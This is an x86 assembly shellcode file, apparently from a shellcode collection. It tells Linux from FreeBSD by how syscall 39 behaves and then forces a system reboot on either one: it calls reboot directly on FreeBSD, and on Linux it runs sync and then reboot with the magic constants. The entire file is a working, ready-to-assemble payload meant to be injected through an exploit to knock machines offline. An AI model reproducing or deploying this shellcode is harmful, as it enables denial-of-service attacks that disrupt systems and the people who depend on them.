BITS 32 ; Multi OS reboot shellcode that works on Linux and FreeBSD ; ; The exploit executes syscall 39 without any args and verifies if an error ; is returned. On Linux this syscall is mkdir, expects arguments and thus ; returns an error. On FreeBSD this syscall is getppid which doesn't require ; an argument and will thus return a normal value, the process ID. ; xor eax, eax xor ebx, ebx mov al,39 int 0x80 test eax,eax js linux freebsd: ; Add FreeBSD assembly code here xor eax,eax mov dx,9998 sub dx,9990 mov al, 55 int 0x80 jmp short exit linux: ; Add Linux assembly code here xor eax, eax mov al,36 int 0x80 mov al,36 int 0x80 mov al, 88 mov ebx, 0xfee1dead mov ecx, 672274793 mov edx, 0x1234567 int 0x80 ; Reboot normally doesn't require an exit ;-) This is added to correctly exit if ; the reboot code fails exit: xor eax, eax mov al,1 int 0x80